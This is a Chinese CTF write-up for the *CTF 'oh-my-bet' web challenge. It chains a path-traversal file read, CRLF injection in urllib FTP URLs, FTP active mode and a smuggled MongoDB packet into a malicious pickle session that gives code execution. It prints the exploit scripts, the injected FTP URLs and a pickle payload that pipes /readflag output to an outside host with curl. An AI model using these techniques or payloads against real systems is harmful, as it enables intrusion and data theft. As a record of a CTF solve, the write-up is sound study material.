*CTF oh-my-bet复现
*CTF复现
这是*CTF中质量最高的一道Web,学到了很多东西。做一个记录。
oh-my-bet
这是一道利用FTP构造SSRF攻击mongo,并向mongo中插入恶意pickle链,造成RCE的题目,预期攻击链为
FTP->mongo->pickle->rce
首先图片读取头像那里是可以读文件的。可以拿到源码
因为是按账号来的,所以写一个读文件脚本
import requests
import random
s=random.randint(1,9999999999)
burp0_url = "http://123.57.145.88:8088/login"
# burp0_cookies = {"style": "qingxin", "SESSIONID": "88dcb995-dff9-4d8b-a824-6c867ebbd72c.PFTtTPSHJ0XxdxDs52O-MBKJQx0", "request_token": "jcp6gc3dHY2wRqYoHL4M0ZSnzaiXSZ68unqn3nv9H0n1jD5g", "pro_end": "-1", "ltd_end": "-1", "serverType": "nginx", "order": "id%20desc", "network-unitType": "KB/s", "disk-unitType": "KB/s", "session": "7146526e-42f4-466f-a666-c3af731ed74b"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://123.57.145.88:8088", "Connection": "close", "Referer": "http://123.57.145.88:8088/login", "Upgrade-Insecure-Requests": "1", "X-Forwarded-For": "127.0.0.1", "X-Originating-IP": "127.0.0.1"}
burp0_data = {"username": f"{s}", "password": f"{s}", "avatar": "../../../../../../../etc/passwd", "submit": "Go!"}
res=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(res.text)
我们主要看/app/utils.py
的这一段代码
def get_avatar(username):
dirpath = os.path.dirname(__file__)
user = User.query.filter_by(username=username).first()
avatar = user.avatar
if re.match('.+:.+', avatar):
path = avatar
else:
path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', avatar])
try:
content = base64.b64encode(urllib.request.urlopen(path).read())
except Exception as e:
error_path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', 'error.png'])
content = base64.b64encode(urllib.request.urlopen(error_path).read())
print(e)
return content
读一下config.py
import pymongo
from ftplib import FTP
import json
class Config(object):
def ftp_login(self):
ftp = FTP()
ftp.connect("172.20.0.2", 8877)
ftp.login("fan", "root")
return ftp
def callback(self,*args, **kwargs):
data = json.loads(args[0].decode())
self.data = data
def get_config(self):
f = self.ftp_login()
f.cwd("files")
buf_size = 1024
f.retrbinary('RETR {}'.format('config.json'), self.callback, buf_size)
def __init__(self):
self.get_config()
data = self.data
self.secret_key = data['secret_key']
self.SECRET_KEY = data['secret_key']
self.DEBUG = data['DEBUG']
self.SESSION_TYPE = data['SESSION_TYPE']
remote_mongo_ip = data['REMOTE_MONGO_IP']
remote_mongo_port = data['REMOTE_MONGO_PORT']
self.SESSION_MONGODB = pymongo.MongoClient(remote_mongo_ip, remote_mongo_port)
self.SESSION_MONGODB_DB = data['SESSION_MONGODB_DB']
self.SESSION_MONGODB_COLLECT = data['SESSION_MONGODB_COLLECT']
self.SESSION_PERMANENT = data['SESSION_PERMANENT']
self.SESSION_USE_SIGNER = data['SESSION_USE_SIGNER']
self.SESSION_KEY_PREFIX = data['SESSION_KEY_PREFIX']
self.SQLALCHEMY_DATABASE_URI = data['SQLALCHEMY_DATABASE_URI']
self.SQLALCHEMY_TRACK_MODIFICATIONS = data['SQLALCHEMY_TRACK_MODIFICATIONS']
self.REDIS_URL = data['REDIS_URL']
发现有个ftp服务器。urllib本身是支持ftp协议的。
这个 urllib.request.urlopen,测试发现存在 CRLF 注入。
尝试攻击FTP服务器获取一些配置信息
ftp://172.20.0.2:8877/
ftp://172.20.0.2:8877/files/config.json
ftp://fan:root@172.20.0.2:8877/files/config.json
config.json
{
"secret_key":"f4545478ee86$%^&&%$#",
"DEBUG": false,
"SESSION_TYPE": "mongodb",
"REMOTE_MONGO_IP": "172.20.0.5",
"REMOTE_MONGO_PORT": 27017,
"SESSION_MONGODB_DB": "admin",
"SESSION_MONGODB_COLLECT": "sessions",
"SESSION_PERMANENT": true,
"SESSION_USE_SIGNER": false,
"SESSION_KEY_PREFIX": "session:",
"SQLALCHEMY_DATABASE_URI": "mysql+pymysql://root:starctf123456@172.20.0.3:3306/ctf?charset=utf8",
"SQLALCHEMY_TRACK_MODIFICATIONS": true,
"REDIS_URL": "redis://@172.20.0.4:6379/0"
}
到这里就能发现这道题目一共启动了五个服务容器,地址为172.20.0.2
的FTP服务器。
地址172.20.0.5
,存储用户session的mongodb服务器。地址为172.20.0.3
的登录注册MYSQL服务器。地址为172.20.0.4
的redis服务器。
这道题目描述说打redis没用。在别的及其寻找突破扣。
这个题虽然是使用 mongodb 存储 session,flask_session会存储一个pickle串到mongo数据库中,并在登录的时候通过反序列化mongo数据库中检索的pickle串来生成SESSION。
现在我们的目的是把恶意的序列化数据注入到mongodb里。这里就要借助ftp了。同时借助CRLF,我们在url的任意一个part注入换行符,这样我们就可以控制ftp客户端的行为了。
这道题是有了urllib
的漏洞CVE-2019-9740
https://bugs.python.org/issue36276
ftp主动模式
利用ftp主动模式可以将ftp服务器内可控的二进制文件发送到任意ip任意端口。那么如何控制ftp服务器里的文件呢?
主动模式不仅可以用于文件的下载,还可以用于文件的上传。也就是说控制ftp服务器来下载我们的文件就好了
主动模式可以远程请求一个服务器端口下载(STOR)和上传文件(RETR)
所以思路是这样的:
- 将数据包放到vps上,利用 ftp 将数据包上传到 ftp server;
- 利用 ftp 把 ftp server 的数据包发送到 mongodb (把流量打过去)
- 刷新相应 session 页面,触发反序列化
在vps上起一个发送文件的socket
import socket
HOST = '0.0.0.0'
PORT = 2000
blocksize = 4096
fp = open('Yang99', 'rb')
s = socket.socket()
s.bind((HOST, PORT))
print('start listen...')
s.listen(5)
conn, addr = s.accept()
while 1:
buf = fp.read(blocksize)
if not buf:
fp.close()
break
conn.sendall(buf)
print('end.')
接着我们发现这样是可以写文件的
ftp://fan:root\r\nCWD .\r\nTYPE I\r\nPORT 47,97,123,81,7,208\r\nSTOR koz\r\n@172.20.0.2:8877/
这样就能让FTP下载任意文件了
-rw-r--r-- 1 root root 21 Mar 19 08:44 Yang_99
drwxr-xr-x 2 root root 4096 Jan 22 04:05 files
-rw-r--r-- 1 root root 464 Jan 22 04:05 ftp-server.py
构造mongodb数据包
首先起一个mongodb的docker
docker run -itd --name mongo -p 27017:27017 mongo
按照题目,进入容器,创建名为 admin 的数据库与名为 sessions 的 collection。
mongo admin
db.createCollection("sessions")
db.sessions.find()
然后我们模拟一下插入数据,用socat抓流量。
用python脚本插入数据
import requests
from base64 import *
import random
import string
import cPickle
import os
from pymongo import MongoClient
def get_payload():
cmd = 'curl -d "`/readflag`" 47.97.123.81:11451'
class exp(object):
def __reduce__(self):
return (os.system, (cmd,))
data = cPickle.dumps(exp())
client = MongoClient('localhost', 4444)
tmp = client.admin.sessions
tmp.update_one(
{'id': 'session:5b3c3cb9-d81c-419d-8e2d-3a8130ebde62'},
{"$set": {"val": data}},
upsert=True
)
get_payload()
socat -v -x tcp-listen:4444,fork tcp-connect:localhost:27017
这一部分就是我们需要的流量。要保存这部分流量。
socat -x tcp-listen:4444,fork tcp-connect:localhost:27017
这样可以抓到流量的16进制,把16进制粘到winhex里得到流量包文件。
FTP主动模式攻击mongodb
用刚才传文件的姿势把流量包上传,然后用FTP把流量打过去。
ftp://fan:root\r\nCWD .\r\nTYPE I\r\nPORT 172,20,0,5,105,137\r\nRETR exp\r\n@172.20.0.2:8877/
打过去之后带着cookie访问网站,会发现已经接到了flag
参考 https://www.shuzhiduo.com/A/n2d9ZDaBzD/
https://ha1c9on.top/2021/01/18/starctf2021-oh-my-bet/
https://xuanxuanblingbling.github.io/ctf/web/2019/10/13/complex/
https://igml.top/2021/01/19/2021-starctf/
https://blog.frankli.site/2021/01/18/*CTF-2021-Web/#oh-my-bet